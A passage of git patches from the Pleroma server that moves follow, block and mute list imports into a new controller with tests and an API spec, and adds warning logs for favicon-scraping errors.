Pleroma.Web.Router do post("/delete_account", UtilController, :delete_account) put("/notification_settings", UtilController, :update_notificaton_settings) post("/disable_account", UtilController, :disable_account) - - post("/blocks_import", UtilController, :blocks_import) - post("/follow_import", UtilController, :follow_import) end scope "/api/pleroma", Pleroma.Web.PleromaAPI do pipe_through(:authenticated_api) + post("/mutes_import", UserImportController, :mutes) + post("/blocks_import", UserImportController, :blocks) + post("/follow_import", UserImportController, :follow) + get("/accounts/mfa", TwoFactorAuthenticationController, :settings) get("/accounts/mfa/backup_codes", TwoFactorAuthenticationController, :backup_codes) get("/accounts/mfa/setup/:method", TwoFactorAuthenticationController, :setup) diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex index f02c4075c..70b0fbd54 100644 --- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex @@ -18,14 +18,6 @@ defmodule Pleroma.Web.TwitterAPI.UtilController do plug(Pleroma.Web.FederatingPlug when action == :remote_subscribe) - plug( - OAuthScopesPlug, - %{scopes: ["follow", "write:follows"]} - when action == :follow_import - ) - - plug(OAuthScopesPlug, %{scopes: ["follow", "write:blocks"]} when action == :blocks_import) - plug( OAuthScopesPlug, %{scopes: ["write:accounts"]} @@ -104,33 +96,6 @@ def update_notificaton_settings(%{assigns: %{user: user}} = conn, params) do end end - def follow_import(conn, %{"list" => %Plug.Upload{} = listfile}) do - follow_import(conn, %{"list" => File.read!(listfile.path)}) - end - - def follow_import(%{assigns: %{user: follower}} = conn, %{"list" => list}) do - followed_identifiers = - list - |> String.split("\n") - |> Enum.map(&(&1 |> String.split(",") |> List.first())) - |> List.delete("Account address") - |> Enum.map(&(&1 |> String.trim() |> String.trim_leading("@"))) - |> Enum.reject(&(&1 == "")) - - User.follow_import(follower, followed_identifiers) - json(conn, "job started") - end - - def blocks_import(conn, %{"list" => %Plug.Upload{} = listfile}) do - blocks_import(conn, %{"list" => File.read!(listfile.path)}) - end - - def blocks_import(%{assigns: %{user: blocker}} = conn, %{"list" => list}) do - blocked_identifiers = list |> String.split() |> Enum.map(&String.trim_leading(&1, "@")) - User.blocks_import(blocker, blocked_identifiers) - json(conn, "job started") - end - def change_password(%{assigns: %{user: user}} = conn, params) do case CommonAPI.Utils.confirm_current_password(user, params["password"]) do {:ok, user} -> diff --git a/lib/pleroma/workers/background_worker.ex b/lib/pleroma/workers/background_worker.ex index cec5a7462..f9c767ee0 100644 --- a/lib/pleroma/workers/background_worker.ex +++ b/lib/pleroma/workers/background_worker.ex @@ -34,7 +34,7 @@ def perform(%Job{ } }) do blocker = User.get_cached_by_id(blocker_id) - {:ok, User.perform(:blocks_import, blocker, blocked_identifiers)} + {:ok, User.Import.perform(:blocks_import, blocker, blocked_identifiers)} end def perform(%Job{ @@ -45,7 +45,14 @@ def perform(%Job{ } }) do follower = User.get_cached_by_id(follower_id) - {:ok, User.perform(:follow_import, follower, followed_identifiers)} + {:ok, User.Import.perform(:follow_import, follower, followed_identifiers)} + end + + def perform(%Job{ + args: %{"op" => "mutes_import", "user_id" => user_id, "identifiers" => identifiers} + }) do + user = User.get_cached_by_id(user_id) + {:ok, User.Import.perform(:mutes_import, user, identifiers)} end def perform(%Job{args: %{"op" => "media_proxy_preload", "message" => message}}) do diff --git a/test/user/import_test.exs b/test/user/import_test.exs new file mode 100644 index 000000000..476b22678 --- /dev/null +++ b/test/user/import_test.exs @@ -0,0 +1,78 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.ImportTest do + + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "follow_import" do + test "it imports user followings from list" do + [user1, user2, user3] = insert_list(3, :user) + + identifiers = [ + user2.ap_id, + user3.nickname + ] + + {:ok, job} = User.Import.follow_import(user1, identifiers) + + assert {:ok, result} = ObanHelpers.perform(job) + assert is_list(result) + assert result == [user2, user3] + assert User.following?(user1, user2) + assert User.following?(user1, user3) + end + end + + + describe "blocks_import" do + test "it imports user blocks from list" do + [user1, user2, user3] = insert_list(3, :user) + + identifiers = [ + user2.ap_id, + user3.nickname + ] + + {:ok, job} = User.Import.blocks_import(user1, identifiers) + + assert {:ok, result} = ObanHelpers.perform(job) + assert is_list(result) + assert result == [user2, user3] + assert User.blocks?(user1, user2) + assert User.blocks?(user1, user3) + end + end + + describe "mutes_import" do + test "it imports user mutes from list" do + [user1, user2, user3] = insert_list(3, :user) + + identifiers = [ + user2.ap_id, + user3.nickname + ] + + {:ok, job} = User.Import.mutes_import(user1, identifiers) + + assert {:ok, result} = ObanHelpers.perform(job) + assert is_list(result) + assert result == [user2, user3] + assert User.mutes?(user1, user2) + assert User.mutes?(user1, user3) + end + end +end diff --git a/test/user_test.exs b/test/user_test.exs index 50f72549e..13ac633b8 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -932,23 +932,6 @@ test "it sets the follower_count property" do end end - describe "follow_import" do - test "it imports user followings from list" do - [user1, user2, user3] = insert_list(3, :user) - - identifiers = [ - user2.ap_id, - user3.nickname - ] - - {:ok, job} = User.follow_import(user1, identifiers) - - assert {:ok, result} = ObanHelpers.perform(job) - assert is_list(result) - assert result == [user2, user3] - end - end - describe "mutes" do test "it mutes people" do user = insert(:user) @@ -1155,23 +1138,6 @@ test "follows take precedence over domain blocks" do end end - describe "blocks_import" do - test "it imports user blocks from list" do - [user1, user2, user3] = insert_list(3, :user) - - identifiers = [ - user2.ap_id, - user3.nickname - ] - - {:ok, job} = User.blocks_import(user1, identifiers) - - assert {:ok, result} = ObanHelpers.perform(job) - assert is_list(result) - assert result == [user2, user3] - end - end - describe "get_recipients_from_activity" do test "works for announces" do actor = insert(:user) diff --git a/test/web/pleroma_api/controllers/user_import_controller_test.exs b/test/web/pleroma_api/controllers/user_import_controller_test.exs new file mode 100644 index 000000000..d1a8a46fc --- /dev/null +++ b/test/web/pleroma_api/controllers/user_import_controller_test.exs @@ -0,0 +1,205 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do + use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Config + alias Pleroma.Tests.ObanHelpers + + import Pleroma.Factory + import Mock + + setup do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "POST /api/pleroma/follow_import" do + setup do: oauth_access(["follow"]) + + test "it returns HTTP 200", %{conn: conn} do + user2 = insert(:user) + + assert "job started" == conn + |> post("/api/pleroma/follow_import", %{"list" => "#{user2.ap_id}"}) + |> json_response(:ok) + end + + test "it imports follow lists from file", %{conn: conn} do + user2 = insert(:user) + + with_mocks([ + {File, [], + read!: fn "follow_list.txt" -> + "Account address,Show boosts\n#{user2.ap_id},true" + end} + ]) do + assert "job started" == conn + |> post("/api/pleroma/follow_import", %{"list" => %Plug.Upload{path: "follow_list.txt"}}) + |> json_response(:ok) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == [user2] + end + end + + test "it imports new-style mastodon follow lists", %{conn: conn} do + user2 = insert(:user) + + response = conn + |> post("/api/pleroma/follow_import", %{ + "list" => "Account address,Show boosts\n#{user2.ap_id},true"} + ) + |> json_response(:ok) + + assert response == "job started" + end + + test "requires 'follow' or 'write:follows' permissions" do + token1 = insert(:oauth_token, scopes: ["read", "write"]) + token2 = insert(:oauth_token, scopes: ["follow"]) + token3 = insert(:oauth_token, scopes: ["something"]) + another_user = insert(:user) + + for token <- [token1, token2, token3] do + conn = + build_conn() + |> put_req_header("authorization", "Bearer #{token.token}") + |> post("/api/pleroma/follow_import", %{"list" => "#{another_user.ap_id}"}) + + if token == token3 do + assert %{"error" => "Insufficient permissions: follow | write:follows."} == + json_response(conn, 403) + else + assert json_response(conn, 200) + end + end + end + + test "it imports follows with different nickname variations", %{conn: conn} do + users = [user2, user3, user4, user5, user6] = insert_list(5, :user) + + identifiers = + [ + user2.ap_id, + user3.nickname, + " ", + "@" <> user4.nickname, + user5.nickname <> "@localhost", + "@" <> user6.nickname <> "@localhost" + ] + |> Enum.join("\n") + + assert "job started" == conn + |> post("/api/pleroma/follow_import", %{"list" => identifiers}) + |> json_response(:ok) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + end + end + + describe "POST /api/pleroma/blocks_import" do + # Note: "follow" or "write:blocks" permission is required + setup do: oauth_access(["write:blocks"]) + + test "it returns HTTP 200", %{conn: conn} do + user2 = insert(:user) + + assert "job started" == conn + |> post("/api/pleroma/blocks_import", %{"list" => "#{user2.ap_id}"}) + |> json_response(:ok) + end + + test "it imports blocks users from file", %{conn: conn} do + users = [user2, user3] = insert_list(2, :user) + + with_mocks([ + {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} + ]) do + + assert "job started" == conn + |> post("/api/pleroma/blocks_import", %{"list" => %Plug.Upload{path: "blocks_list.txt"}}) + |> json_response(:ok) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + end + end + + test "it imports blocks with different nickname variations", %{conn: conn} do + users = [user2, user3, user4, user5, user6] = insert_list(5, :user) + + identifiers = + [ + user2.ap_id, + user3.nickname, + "@" <> user4.nickname, + user5.nickname <> "@localhost", + "@" <> user6.nickname <> "@localhost" + ] + |> Enum.join(" ") + + assert "job started" == conn + |> post("/api/pleroma/blocks_import", %{"list" => identifiers}) + |> json_response(:ok) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + end + end + + describe "POST /api/pleroma/mutes_import" do + # Note: "follow" or "write:mutes" permission is required + setup do: oauth_access(["write:mutes"]) + + test "it returns HTTP 200", %{user: user, conn: conn} do + user2 = insert(:user) + + assert "job started" == conn + |> post("/api/pleroma/mutes_import", %{"list" => "#{user2.ap_id}"}) + |> json_response(:ok) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == [user2] + assert Pleroma.User.mutes?(user, user2) + end + + + test "it imports mutes users from file", %{user: user, conn: conn} do + users = [user2, user3] = insert_list(2, :user) + + with_mocks([ + {File, [], read!: fn "mutes_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} + ]) do + assert "job started" == conn + |> post("/api/pleroma/mutes_import", %{"list" => %Plug.Upload{path: "mutes_list.txt"}}) + |> json_response(:ok) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + assert Enum.all?(users, &Pleroma.User.mutes?(user, &1)) + end + end + + test "it imports mutes with different nickname variations", %{user: user, conn: conn} do + users = [user2, user3, user4, user5, user6] = insert_list(5, :user) + + identifiers = [ + user2.ap_id, user3.nickname, "@" <> user4.nickname, + user5.nickname <> "@localhost", "@" <> user6.nickname <> "@localhost" + ] + |> Enum.join(" ") + + assert "job started" == conn + |> post("/api/pleroma/mutes_import", %{"list" => identifiers}) + |> json_response(:ok) + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + assert Enum.all?(users, &Pleroma.User.mutes?(user, &1)) + end + end +end diff --git a/test/web/twitter_api/util_controller_test.exs b/test/web/twitter_api/util_controller_test.exs index d164127ee..60f2fb052 100644 --- a/test/web/twitter_api/util_controller_test.exs +++ b/test/web/twitter_api/util_controller_test.exs @@ -21,170 +21,6 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do setup do: clear_config([:instance]) setup do: clear_config([:frontend_configurations, :pleroma_fe]) - describe "POST /api/pleroma/follow_import" do - setup do: oauth_access(["follow"]) - - test "it returns HTTP 200", %{conn: conn} do - user2 = insert(:user) - - response = - conn - |> post("/api/pleroma/follow_import", %{"list" => "#{user2.ap_id}"}) - |> json_response(:ok) - - assert response == "job started" - end - - test "it imports follow lists from file", %{user: user1, conn: conn} do - user2 = insert(:user) - - with_mocks([ - {File, [], - read!: fn "follow_list.txt" -> - "Account address,Show boosts\n#{user2.ap_id},true" - end} - ]) do - response = - conn - |> post("/api/pleroma/follow_import", %{"list" => %Plug.Upload{path: "follow_list.txt"}}) - |> json_response(:ok) - - assert response == "job started" - - assert ObanHelpers.member?( - %{ - "op" => "follow_import", - "follower_id" => user1.id, - "followed_identifiers" => [user2.ap_id] - }, - all_enqueued(worker: Pleroma.Workers.BackgroundWorker) - ) - end - end - - test "it imports new-style mastodon follow lists", %{conn: conn} do - user2 = insert(:user) - - response = - conn - |> post("/api/pleroma/follow_import", %{ - "list" => "Account address,Show boosts\n#{user2.ap_id},true" - }) - |> json_response(:ok) - - assert response == "job started" - end - - test "requires 'follow' or 'write:follows' permissions" do - token1 = insert(:oauth_token, scopes: ["read", "write"]) - token2 = insert(:oauth_token, scopes: ["follow"]) - token3 = insert(:oauth_token, scopes: ["something"]) - another_user = insert(:user) - - for token <- [token1, token2, token3] do - conn = - build_conn() - |> put_req_header("authorization", "Bearer #{token.token}") - |> post("/api/pleroma/follow_import", %{"list" => "#{another_user.ap_id}"}) - - if token == token3 do - assert %{"error" => "Insufficient permissions: follow | write:follows."} == - json_response(conn, 403) - else - assert json_response(conn, 200) - end - end - end - - test "it imports follows with different nickname variations", %{conn: conn} do - [user2, user3, user4, user5, user6] = insert_list(5, :user) - - identifiers = - [ - user2.ap_id, - user3.nickname, - " ", - "@" <> user4.nickname, - user5.nickname <> "@localhost", - "@" <> user6.nickname <> "@localhost" - ] - |> Enum.join("\n") - - response = - conn - |> post("/api/pleroma/follow_import", %{"list" => identifiers}) - |> json_response(:ok) - - assert response == "job started" - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == [user2, user3, user4, user5, user6] - end - end - - describe "POST /api/pleroma/blocks_import" do - # Note: "follow" or "write:blocks" permission is required - setup do: oauth_access(["write:blocks"]) - - test "it returns HTTP 200", %{conn: conn} do - user2 = insert(:user) - - response = - conn - |> post("/api/pleroma/blocks_import", %{"list" => "#{user2.ap_id}"}) - |> json_response(:ok) - - assert response == "job started" - end - - test "it imports blocks users from file", %{user: user1, conn: conn} do - user2 = insert(:user) - user3 = insert(:user) - - with_mocks([ - {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} - ]) do - response = - conn - |> post("/api/pleroma/blocks_import", %{"list" => %Plug.Upload{path: "blocks_list.txt"}}) - |> json_response(:ok) - - assert response == "job started" - - assert ObanHelpers.member?( - %{ - "op" => "blocks_import", - "blocker_id" => user1.id, - "blocked_identifiers" => [user2.ap_id, user3.ap_id] - }, - all_enqueued(worker: Pleroma.Workers.BackgroundWorker) - ) - end - end - - test "it imports blocks with different nickname variations", %{conn: conn} do - [user2, user3, user4, user5, user6] = insert_list(5, :user) - - identifiers = - [ - user2.ap_id, - user3.nickname, - "@" <> user4.nickname, - user5.nickname <> "@localhost", - "@" <> user6.nickname <> "@localhost" - ] - |> Enum.join(" ") - - response = - conn - |> post("/api/pleroma/blocks_import", %{"list" => identifiers}) - |> json_response(:ok) - - assert response == "job started" - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == [user2, user3, user4, user5, user6] - end - end - describe "PUT /api/pleroma/notification_settings" do setup do: oauth_access(["write:accounts"]) -- cgit v1.2.3 From 917d325972e3aeb367583c61aaa109d62fcba837 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov <parallel588@gmail.com> Date: Mon, 7 Sep 2020 07:17:30 +0300 Subject: added api spec --- docs/API/pleroma_api.md | 4 +- .../api_spec/operations/user_import_operation.ex | 80 +++++++++++++++ .../controllers/user_import_controller.ex | 22 +++-- test/user/import_test.exs | 2 - .../controllers/user_import_controller_test.exs | 108 +++++++++++++-------- 5 files changed, 164 insertions(+), 52 deletions(-) create mode 100644 lib/pleroma/web/api_spec/operations/user_import_operation.ex diff --git a/docs/API/pleroma_api.md b/docs/API/pleroma_api.md index 22f3ad7d6..567ad5732 100644 --- a/docs/API/pleroma_api.md +++ b/docs/API/pleroma_api.md @@ -49,7 +49,7 @@ Request parameters can be passed via [query strings](https://en.wikipedia.org/wi * Method: `POST` * Authentication: required * Params: - * `list`: STRING or FILE containing a whitespace-separated list of accounts to follow + * `list`: STRING or FILE containing a whitespace-separated list of accounts to block * Response: HTTP 200 on success, 500 on error ## `/api/pleroma/mutes_import` @@ -57,7 +57,7 @@ Request parameters can be passed via [query strings](https://en.wikipedia.org/wi * Method: `POST` * Authentication: required * Params: - * `list`: STRING or FILE containing a whitespace-separated list of accounts to follow + * `list`: STRING or FILE containing a whitespace-separated list of accounts to mute * Response: HTTP 200 on success, 500 on error diff --git a/lib/pleroma/web/api_spec/operations/user_import_operation.ex b/lib/pleroma/web/api_spec/operations/user_import_operation.ex new file mode 100644 index 000000000..a50314fb7 --- /dev/null +++ b/lib/pleroma/web/api_spec/operations/user_import_operation.ex @@ -0,0 +1,80 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ApiSpec.UserImportOperation do + alias OpenApiSpex.Operation + alias OpenApiSpex.Schema + alias Pleroma.Web.ApiSpec.Schemas.ApiError + + import Pleroma.Web.ApiSpec.Helpers + + @spec open_api_operation(atom) :: Operation.t() + def open_api_operation(action) do + operation = String.to_existing_atom("#{action}_operation") + apply(__MODULE__, operation, []) + end + + def follow_operation do + %Operation{ + tags: ["follow_import"], + summary: "Imports your follows.", + operationId: "UserImportController.follow", + requestBody: request_body("Parameters", import_request(), required: true), + responses: %{ + 200 => ok_response(), + 500 => Operation.response("Error", "application/json", ApiError) + }, + security: [%{"oAuth" => ["write:follow"]}] + } + end + + def blocks_operation do + %Operation{ + tags: ["blocks_import"], + summary: "Imports your blocks.", + operationId: "UserImportController.blocks", + requestBody: request_body("Parameters", import_request(), required: true), + responses: %{ + 200 => ok_response(), + 500 => Operation.response("Error", "application/json", ApiError) + }, + security: [%{"oAuth" => ["write:blocks"]}] + } + end + + def mutes_operation do + %Operation{ + tags: ["mutes_import"], + summary: "Imports your mutes.", + operationId: "UserImportController.mutes", + requestBody: request_body("Parameters", import_request(), required: true), + responses: %{ + 200 => ok_response(), + 500 => Operation.response("Error", "application/json", ApiError) + }, + security: [%{"oAuth" => ["write:mutes"]}] + } + end + + defp import_request do + %Schema{ + type: :object, + required: [:list], + properties: %{ + list: %Schema{ + description: + "STRING or FILE containing a whitespace-separated list of accounts to import.", + anyOf: [ + %Schema{type: :string, format: :binary}, + %Schema{type: :string} + ] + } + } + } + end + + defp ok_response do + Operation.response("Ok", "application/json", %Schema{type: :string, example: "ok"}) + end +end diff --git a/lib/pleroma/web/pleroma_api/controllers/user_import_controller.ex b/lib/pleroma/web/pleroma_api/controllers/user_import_controller.ex index df6a0f131..f10c45750 100644 --- a/lib/pleroma/web/pleroma_api/controllers/user_import_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/user_import_controller.ex @@ -9,16 +9,20 @@ defmodule Pleroma.Web.PleromaAPI.UserImportController do alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.User + alias Pleroma.Web.ApiSpec plug(OAuthScopesPlug, %{scopes: ["follow", "write:follows"]} when action == :follow) plug(OAuthScopesPlug, %{scopes: ["follow", "write:blocks"]} when action == :blocks) plug(OAuthScopesPlug, %{scopes: ["follow", "write:mutes"]} when action == :mutes) - def follow(conn, %{"list" => %Plug.Upload{path: path}}) do - follow(conn, %{"list" => File.read!(path)}) + plug(OpenApiSpex.Plug.CastAndValidate) + defdelegate open_api_operation(action), to: ApiSpec.UserImportOperation + + def follow(%{body_params: %{list: %Plug.Upload{path: path}}} = conn, _) do + follow(%Plug.Conn{conn | body_params: %{list: File.read!(path)}}, %{}) end - def follow(%{assigns: %{user: follower}} = conn, %{"list" => list}) do + def follow(%{assigns: %{user: follower}, body_params: %{list: list}} = conn, _) do identifiers = list |> String.split("\n") @@ -31,20 +35,20 @@ def follow(%{assigns: %{user: follower}} = conn, %{"list" => list}) do json(conn, "job started") end - def blocks(conn, %{"list" => %Plug.Upload{path: path}}) do - blocks(conn, %{"list" => File.read!(path)}) + def blocks(%{body_params: %{list: %Plug.Upload{path: path}}} = conn, _) do + blocks(%Plug.Conn{conn | body_params: %{list: File.read!(path)}}, %{}) end - def blocks(%{assigns: %{user: blocker}} = conn, %{"list" => list}) do + def blocks(%{assigns: %{user: blocker}, body_params: %{list: list}} = conn, _) do User.Import.blocks_import(blocker, prepare_user_identifiers(list)) json(conn, "job started") end - def mutes(conn, %{"list" => %Plug.Upload{path: path}}) do - mutes(conn, %{"list" => File.read!(path)}) + def mutes(%{body_params: %{list: %Plug.Upload{path: path}}} = conn, _) do + mutes(%Plug.Conn{conn | body_params: %{list: File.read!(path)}}, %{}) end - def mutes(%{assigns: %{user: user}} = conn, %{"list" => list}) do + def mutes(%{assigns: %{user: user}, body_params: %{list: list}} = conn, _) do User.Import.mutes_import(user, prepare_user_identifiers(list)) json(conn, "job started") end diff --git a/test/user/import_test.exs b/test/user/import_test.exs index 476b22678..e404deeb5 100644 --- a/test/user/import_test.exs +++ b/test/user/import_test.exs @@ -3,7 +3,6 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.User.ImportTest do - alias Pleroma.Repo alias Pleroma.Tests.ObanHelpers alias Pleroma.User @@ -37,7 +36,6 @@ test "it imports user followings from list" do end end - describe "blocks_import" do test "it imports user blocks from list" do [user1, user2, user3] = insert_list(3, :user) diff --git a/test/web/pleroma_api/controllers/user_import_controller_test.exs b/test/web/pleroma_api/controllers/user_import_controller_test.exs index d1a8a46fc..433c97e81 100644 --- a/test/web/pleroma_api/controllers/user_import_controller_test.exs +++ b/test/web/pleroma_api/controllers/user_import_controller_test.exs @@ -23,9 +23,11 @@ defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do test "it returns HTTP 200", %{conn: conn} do user2 = insert(:user) - assert "job started" == conn - |> post("/api/pleroma/follow_import", %{"list" => "#{user2.ap_id}"}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{"list" => "#{user2.ap_id}"}) + |> json_response_and_validate_schema(200) end test "it imports follow lists from file", %{conn: conn} do @@ -37,9 +39,13 @@ test "it imports follow lists from file", %{conn: conn} do "Account address,Show boosts\n#{user2.ap_id},true" end} ]) do - assert "job started" == conn - |> post("/api/pleroma/follow_import", %{"list" => %Plug.Upload{path: "follow_list.txt"}}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{ + "list" => %Plug.Upload{path: "follow_list.txt"} + }) + |> json_response_and_validate_schema(200) assert [{:ok, job_result}] = ObanHelpers.perform_all() assert job_result == [user2] @@ -49,11 +55,13 @@ test "it imports follow lists from file", %{conn: conn} do test "it imports new-style mastodon follow lists", %{conn: conn} do user2 = insert(:user) - response = conn - |> post("/api/pleroma/follow_import", %{ - "list" => "Account address,Show boosts\n#{user2.ap_id},true"} - ) - |> json_response(:ok) + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{ + "list" => "Account address,Show boosts\n#{user2.ap_id},true" + }) + |> json_response_and_validate_schema(200) assert response == "job started" end @@ -68,6 +76,7 @@ test "requires 'follow' or 'write:follows' permissions" do conn = build_conn() |> put_req_header("authorization", "Bearer #{token.token}") + |> put_req_header("content-type", "application/json") |> post("/api/pleroma/follow_import", %{"list" => "#{another_user.ap_id}"}) if token == token3 do @@ -93,9 +102,11 @@ test "it imports follows with different nickname variations", %{conn: conn} do ] |> Enum.join("\n") - assert "job started" == conn - |> post("/api/pleroma/follow_import", %{"list" => identifiers}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{"list" => identifiers}) + |> json_response_and_validate_schema(200) assert [{:ok, job_result}] = ObanHelpers.perform_all() assert job_result == users @@ -109,9 +120,11 @@ test "it imports follows with different nickname variations", %{conn: conn} do test "it returns HTTP 200", %{conn: conn} do user2 = insert(:user) - assert "job started" == conn - |> post("/api/pleroma/blocks_import", %{"list" => "#{user2.ap_id}"}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/blocks_import", %{"list" => "#{user2.ap_id}"}) + |> json_response_and_validate_schema(200) end test "it imports blocks users from file", %{conn: conn} do @@ -120,10 +133,13 @@ test "it imports blocks users from file", %{conn: conn} do with_mocks([ {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} ]) do - - assert "job started" == conn - |> post("/api/pleroma/blocks_import", %{"list" => %Plug.Upload{path: "blocks_list.txt"}}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/blocks_import", %{ + "list" => %Plug.Upload{path: "blocks_list.txt"} + }) + |> json_response_and_validate_schema(200) assert [{:ok, job_result}] = ObanHelpers.perform_all() assert job_result == users @@ -143,9 +159,11 @@ test "it imports blocks with different nickname variations", %{conn: conn} do ] |> Enum.join(" ") - assert "job started" == conn - |> post("/api/pleroma/blocks_import", %{"list" => identifiers}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/blocks_import", %{"list" => identifiers}) + |> json_response_and_validate_schema(200) assert [{:ok, job_result}] = ObanHelpers.perform_all() assert job_result == users @@ -159,25 +177,30 @@ test "it imports blocks with different nickname variations", %{conn: conn} do test "it returns HTTP 200", %{user: user, conn: conn} do user2 = insert(:user) - assert "job started" == conn - |> post("/api/pleroma/mutes_import", %{"list" => "#{user2.ap_id}"}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/mutes_import", %{"list" => "#{user2.ap_id}"}) + |> json_response_and_validate_schema(200) assert [{:ok, job_result}] = ObanHelpers.perform_all() assert job_result == [user2] assert Pleroma.User.mutes?(user, user2) end - test "it imports mutes users from file", %{user: user, conn: conn} do users = [user2, user3] = insert_list(2, :user) with_mocks([ {File, [], read!: fn "mutes_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} ]) do - assert "job started" == conn - |> post("/api/pleroma/mutes_import", %{"list" => %Plug.Upload{path: "mutes_list.txt"}}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/mutes_import", %{ + "list" => %Plug.Upload{path: "mutes_list.txt"} + }) + |> json_response_and_validate_schema(200) assert [{:ok, job_result}] = ObanHelpers.perform_all() assert job_result == users @@ -188,15 +211,22 @@ test "it imports mutes users from file", %{user: user, conn: conn} do test "it imports mutes with different nickname variations", %{user: user, conn: conn} do users = [user2, user3, user4, user5, user6] = insert_list(5, :user) - identifiers = [ - user2.ap_id, user3.nickname, "@" <> user4.nickname, - user5.nickname <> "@localhost", "@" <> user6.nickname <> "@localhost" - ] - |> Enum.join(" ") + identifiers = + [ + user2.ap_id, + user3.nickname, + "@" <> user4.nickname, + user5.nickname <> "@localhost", + "@" <> user6.nickname <> "@localhost" + ] + |> Enum.join(" ") + + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/mutes_import", %{"list" => identifiers}) + |> json_response_and_validate_schema(200) - assert "job started" == conn - |> post("/api/pleroma/mutes_import", %{"list" => identifiers}) - |> json_response(:ok) assert [{:ok, job_result}] = ObanHelpers.perform_all() assert job_result == users assert Enum.all?(users, &Pleroma.User.mutes?(user, &1)) -- cgit v1.2.3 From 08aef7dd4e054c5ed02e359b61fe57daad97fbde Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" <contact@hacktivis.me> Date: Sat, 5 Sep 2020 06:38:07 +0200 Subject: instance: Log catch favicon errors as warnings --- lib/pleroma/instances/instance.ex | 16 ++++++++++++---- test/web/instances/instance_test.exs | 33 +++++++++++++++++++++++++++++++++ 2 files changed, 45 insertions(+), 4 deletions(-) diff --git a/lib/pleroma/instances/instance.ex b/lib/pleroma/instances/instance.ex index ef5d17de4..8bf53c090 100644 --- a/lib/pleroma/instances/instance.ex +++ b/lib/pleroma/instances/instance.ex @@ -14,6 +14,8 @@ defmodule Pleroma.Instances.Instance do import Ecto.Query import Ecto.Changeset + require Logger + schema "instances" do field(:host, :string) field(:unreachable_since, :naive_datetime_usec) @@ -146,7 +148,9 @@ def get_or_update_favicon(%URI{host: host} = instance_uri) do favicon end rescue - _ -> nil + e -> + Logger.warn("Instance.get_or_update_favicon(\"#{host}\") error: #{inspect(e)}") + nil end defp scrape_favicon(%URI{} = instance_uri) do @@ -161,14 +165,18 @@ defp scrape_favicon(%URI{} = instance_uri) do |> Floki.attribute("link[rel=icon]", "href") |> List.first(), favicon <- URI.merge(instance_uri, favicon_rel) |> to_string(), - true <- is_binary(favicon), - true <- String.length(favicon) <= 255 do + true <- is_binary(favicon) do favicon else _ -> nil end rescue - _ -> nil + e -> + Logger.warn( + "Instance.scrape_favicon(\"#{to_string(instance_uri)}\") error: #{inspect(e)}" + ) + + nil end end end diff --git a/test/web/instances/instance_test.exs b/test/web/instances/instance_test.exs index e463200ca..dc6ace843 100644 --- a/test/web/instances/instance_test.exs +++ b/test/web/instances/instance_test.exs @@ -8,6 +8,7 @@ defmodule Pleroma.Instances.InstanceTest do use Pleroma.DataCase + import ExUnit.CaptureLog import Pleroma.Factory setup_all do: 